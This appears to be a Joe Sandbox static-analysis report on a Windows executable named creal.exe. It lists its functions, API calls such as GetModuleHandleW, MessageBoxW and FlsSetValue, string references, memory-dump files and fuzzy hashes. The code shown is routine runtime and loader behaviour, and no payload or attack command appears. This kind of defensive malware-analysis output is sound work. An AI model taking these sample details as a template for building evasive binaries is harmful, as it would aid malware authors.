GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF67A6027EF), ref: 00007FF67A602638
DialogBoxIndirectParamW.USER32 ref: 00007FF67A6026FC
DeleteObject.GDI32 ref: 00007FF67A60272F
DestroyIcon.USER32 ref: 00007FF67A602741

Strings

Unhandled exception in script, xrefs: 00007FF67A602668

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: dc070d28aa34fb62a8c81eb4f66bc8c41d302b2675cd07858098f6061cbf7ad4
Instruction ID: 1618cde3d39216e9879b8bb1b58ce0fa68fe3e0bb9b24974e12121efb5d2739d
Opcode Fuzzy Hash: dc070d28aa34fb62a8c81eb4f66bc8c41d302b2675cd07858098f6061cbf7ad4
Instruction Fuzzy Hash: 8531A273628A8288EB20DF25E8515FB6360FF88B84F400175EA4D8BBA9DF3CD144D700

Function 00007FF67A6029E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF67A6088F2,?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A602A14

Part of subcall function 00007FF67A608570: GetLastError.KERNEL32(00000000,00007FF67A602A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A608597
Part of subcall function 00007FF67A608570: FormatMessageW.KERNEL32 ref: 00007FF67A6085C6

Part of subcall function 00007FF67A608BE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

MessageBoxW.USER32 ref: 00007FF67A602AF0
MessageBoxA.USER32 ref: 00007FF67A602B0C

Strings

%s%s: %s, xrefs: 00007FF67A602A6B
Fatal error detected, xrefs: 00007FF67A602AC6, 00007FF67A602AFE

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: 17bde7baa48798fc9044701dc9e2f5590094afa9c40027f5b89001a931553ba1
Instruction ID: dadfc95a2adbfeb7d7bd0ad8781c25d166267e52a08d18e1613d3047355a4955
Opcode Fuzzy Hash: 17bde7baa48798fc9044701dc9e2f5590094afa9c40027f5b89001a931553ba1
Instruction Fuzzy Hash: 96310F73638A8291E630DB10E4516EB6364FF84B84F404176EA8D86AA9DF3CD645DB40

Function 00007FF67A61A118 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF67A61A13D
GetProcAddress.KERNEL32 ref: 00007FF67A61A153
FreeLibrary.KERNEL32 ref: 00007FF67A61A17A

Strings

mscoree.dll, xrefs: 00007FF67A61A134
CorExitProcess, xrefs: 00007FF67A61A14C

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6d37f3dc48988a17a5a16ca308b3de1e776b5d3bd2cbadce22e8a62f3d793b7e
Instruction ID: 67271ec53566b1d2f5d23df2be2b93ec8ecc206e931cb79861d8b22abd69c04f
Opcode Fuzzy Hash: 6d37f3dc48988a17a5a16ca308b3de1e776b5d3bd2cbadce22e8a62f3d793b7e
Instruction Fuzzy Hash: A4F04F62A2970281EB108B64E84537B5320EF59F71F541275C56E861F4CF2CE445A350

Function 00007FF67A629D40 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF67A629D68
_set_statfp.LIBCMT ref: 00007FF67A629D83
_set_statfp.LIBCMT ref: 00007FF67A629D9F
_set_statfp.LIBCMT ref: 00007FF67A629DDB

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: e889cfcc7a661dcccfedafa9bca9bf87dab6471c9b7ebe79003bf5a6a643bf6b
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: CC115137E3CE0301F7549968E44637718416FD5B70F080AB4FA6E862FAEE6CE9457104

Function 00007FF67A61BA50 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF67A61AC67,?,?,00000000,00007FF67A61AF02,?,?,?,?,?,00007FF67A6131CC), ref: 00007FF67A61BA6F
FlsSetValue.KERNEL32(?,?,?,00007FF67A61AC67,?,?,00000000,00007FF67A61AF02,?,?,?,?,?,00007FF67A6131CC), ref: 00007FF67A61BA8E
FlsSetValue.KERNEL32(?,?,?,00007FF67A61AC67,?,?,00000000,00007FF67A61AF02,?,?,?,?,?,00007FF67A6131CC), ref: 00007FF67A61BAB6
FlsSetValue.KERNEL32(?,?,?,00007FF67A61AC67,?,?,00000000,00007FF67A61AF02,?,?,?,?,?,00007FF67A6131CC), ref: 00007FF67A61BAC7
FlsSetValue.KERNEL32(?,?,?,00007FF67A61AC67,?,?,00000000,00007FF67A61AF02,?,?,?,?,?,00007FF67A6131CC), ref: 00007FF67A61BAD8

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f70ee7c89560e3a3f945a0093c6d62eaa63281c746b4319ca03f88377ac2e8f0
Instruction ID: 23c95d5475a511ec26316816984eb2c93af687c686dd194889174dd5f0405c0d
Opcode Fuzzy Hash: f70ee7c89560e3a3f945a0093c6d62eaa63281c746b4319ca03f88377ac2e8f0
Instruction Fuzzy Hash: 1B117F23E2864241FA589776D55117B2991DF44FB0F4483B9E97DC67FADE6CA402A300

Function 00007FF67A61B8E4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF67A61B8F5
FlsSetValue.KERNEL32 ref: 00007FF67A61B914
FlsSetValue.KERNEL32 ref: 00007FF67A61B93C
FlsSetValue.KERNEL32 ref: 00007FF67A61B94D
FlsSetValue.KERNEL32 ref: 00007FF67A61B95E

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 3273ad673f3a21db5857e5805e11896850ae06cc08c5864d6916b14b2a868b9d
Instruction ID: 5ccd41a4399e9403ee1eaca4f2147d8874afd4f7588eb5dec88aa7fc0b05bd00
Opcode Fuzzy Hash: 3273ad673f3a21db5857e5805e11896850ae06cc08c5864d6916b14b2a868b9d
Instruction Fuzzy Hash: F511A163E2C20781FA686371C45117B29814F46F70F484BB9DA3ECA2F6ED2DB4027241

Function 00007FF67A6165B4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6165F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A61671A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6167D0

Strings

verbose, xrefs: 00007FF67A6165C4

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
Instruction ID: 1dff5ce0a92c418dc72e63c143c1223ab48bd9d1793bb0373135e2b3505386e2
Opcode Fuzzy Hash: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
Instruction Fuzzy Hash: 6291F02FA2864681F7618A25D41037F3BA5EB00F54F848176DA5EC33E5DF3CE401A342

Function 00007FF67A6206A8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A620987

Part of subcall function 00007FF67A626AC4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A626AE1

Strings

UTF-16LEUNICODE, xrefs: 00007FF67A620925
UTF-8, xrefs: 00007FF67A620906
ccs, xrefs: 00007FF67A6208C2

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 8562a2ddaa4935eebf24a1799f06cf0f98d553335d1454eb5137ecb29e0aa9bc
Instruction ID: 88425335e2ba8fc54f9612d97456bf7436ddc7f1fe136030b064555ac45a4607
Opcode Fuzzy Hash: 8562a2ddaa4935eebf24a1799f06cf0f98d553335d1454eb5137ecb29e0aa9bc
Instruction Fuzzy Hash: 1081A177E2820385FB65EF25811027B26A0AB14F44F5790B5CA4AD7AF5CF2DED01B781

Function 00007FF67A60F0D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF67A60F124
_CallSETranslator.LIBVCRUNTIME ref: 00007FF67A60F173

Strings

MOC, xrefs: 00007FF67A60F138
RCC, xrefs: 00007FF67A60F141

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 93df84ad8f7e49cea4bf2fe45b974ce3ad7a793f20ece70ff6f590e0afe80a83
Instruction ID: 35eb58c1c24167a4313f1512aa198f3426d3dd07cd1f4d77e448c3d2d02ac31c
Opcode Fuzzy Hash: 93df84ad8f7e49cea4bf2fe45b974ce3ad7a793f20ece70ff6f590e0afe80a83
Instruction Fuzzy Hash: 5B61AD37A28B458AE710CFA5D0807AE77A0FB58B88F044265EF4D57BA8CF78E095D700

Function 00007FF67A60F434 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF67A60F45C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF67A60F544

Strings

csm, xrefs: 00007FF67A60F596
csm, xrefs: 00007FF67A60F47E

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: bb0dbae594e6361f888f3677e997f8fccf17b68f1c0f59f7e08c923b6417c7cb
Instruction ID: 508dde53a6a646afa3654245560e1c507038bca9c85cdf04ba4bdfb270ff5c6d
Opcode Fuzzy Hash: bb0dbae594e6361f888f3677e997f8fccf17b68f1c0f59f7e08c923b6417c7cb
Instruction Fuzzy Hash: FE51817393824286EA648F159184A6B77A0FB54F88F188175DB9DC7BF6CF3CE4909700

Function 00007FF67A602890 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67A608BE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

MessageBoxW.USER32 ref: 00007FF67A60299B
MessageBoxA.USER32 ref: 00007FF67A6029B7

Strings

%s%s: %s, xrefs: 00007FF67A602916
Fatal error detected, xrefs: 00007FF67A602971, 00007FF67A6029A9

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 6a476509950944f0bc5995eed920a659af08b50e3adf8d3da3d7a8787779b220
Instruction ID: 6781f401bb95221f7dbb77fa53cbfd1134c18ab6f45aed783a2aae2ae1a6bfb1
Opcode Fuzzy Hash: 6a476509950944f0bc5995eed920a659af08b50e3adf8d3da3d7a8787779b220
Instruction Fuzzy Hash: F4313273638A8181E620DB10E4516EBA364FF84F84F404176E68D87AA9DF3CD645DB40

Function 00007FF67A603ED0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF67A6039EA), ref: 00007FF67A603F01

Part of subcall function 00007FF67A6029E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF67A6088F2,?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A602A14
Part of subcall function 00007FF67A6029E0: MessageBoxW.USER32 ref: 00007FF67A602AF0

Strings

GetModuleFileNameW, xrefs: 00007FF67A603F12
Failed to get executable path., xrefs: 00007FF67A603F0B
Failed to convert executable path to UTF-8., xrefs: 00007FF67A603F3A

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 4067cf041b03358d9120c4033d5e670654b83d2b71477f60263b0e522fc37818
Instruction ID: 74b1206ee7c3e11d51a20934fce05a3b6e7ab7e3cda8bcdfe95cc42b64ba2076
Opcode Fuzzy Hash: 4067cf041b03358d9120c4033d5e670654b83d2b71477f60263b0e522fc37818
Instruction Fuzzy Hash: 50018423B38A4381FA64DB30D945BF71251AF4CF85F4004B1D84DC62F2EE1CE184A700

Function 00007FF67A61CC60 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF67A61CCDF
WriteFile.KERNEL32 ref: 00007FF67A61CFA7
WriteFile.KERNEL32 ref: 00007FF67A61CFED
GetLastError.KERNEL32 ref: 00007FF67A61D0A3

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ac6203f977c47ba8bc2a8f0cb0d6a0086fe2a36fe5d42d2389b6d07504d3a7ef
Instruction ID: a3e884d282e3ec1b72448916c9314bfd18484d367bb95023a75ffd3703291daa
Opcode Fuzzy Hash: ac6203f977c47ba8bc2a8f0cb0d6a0086fe2a36fe5d42d2389b6d07504d3a7ef
Instruction Fuzzy Hash: 50D1E173B29A8189E710CF65D4402BE3BB1FB45B98B048276CF6D97BA9DE38D406D340

Function 00007FF67A602330 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF67A602364
SetWindowLongPtrW.USER32 ref: 00007FF67A602386
GetWindowLongPtrW.USER32 ref: 00007FF67A6023B0
InvalidateRect.USER32 ref: 00007FF67A6023D0

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
Instruction ID: 009603fb2534576aa0a410977c1ba7c14cdf8f562ad58e0dd39d95efd77c04f3
Opcode Fuzzy Hash: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
Instruction Fuzzy Hash: 9E11A922E3814282FB589B79F54467B5392EF88F80F448070EB4946BEECD3CD4C16600

Function 00007FF67A62638C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67A621ED0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A621F03

_get_daylight.LIBCMT ref: 00007FF67A6264A4
_get_daylight.LIBCMT ref: 00007FF67A6264B5

Strings

?, xrefs: 00007FF67A626435

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: befcc0e810349c4ed10c4da0c5a0000f7d95c3550f016c8dbfb5e48fc73a8369
Instruction ID: 04182a374fd41ea113b98cc2dafed5548434cf332cc66a7c27c55dc0400061c9
Opcode Fuzzy Hash: befcc0e810349c4ed10c4da0c5a0000f7d95c3550f016c8dbfb5e48fc73a8369
Instruction Fuzzy Hash: EE41E527A2828242FB64DF25E44137B5A60EB90FA4F148275EF9C86AF9EE3CD4419701

Function 00007FF67A6196A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6196D6

Part of subcall function 00007FF67A61B00C: RtlFreeHeap.NTDLL(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B022
Part of subcall function 00007FF67A61B00C: GetLastError.KERNEL32(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B02C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF67A60C0E5), ref: 00007FF67A6196F4

Strings

C:\Users\user\Desktop\creal.exe, xrefs: 00007FF67A6196E2

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\creal.exe
API String ID: 3580290477-539974950
Opcode ID: cbff3703d0eb5d814c918169503ff03d4f262caf6a9cc0de81f89f8799812d0b
Instruction ID: 03c1f7c55bf24c8bcf08dfe61fc48ef2bc305fdfad6d6b3daec90f59d1661aa6
Opcode Fuzzy Hash: cbff3703d0eb5d814c918169503ff03d4f262caf6a9cc0de81f89f8799812d0b
Instruction Fuzzy Hash: 0F419137A287128AFB55EF25D4500BA2BA5EF84FD4B554075FA4EC3BA5EE3DE4809300

Function 00007FF67A61D2F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF67A61D40F
GetLastError.KERNEL32 ref: 00007FF67A61D431

Strings

U, xrefs: 00007FF67A61D3BB

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

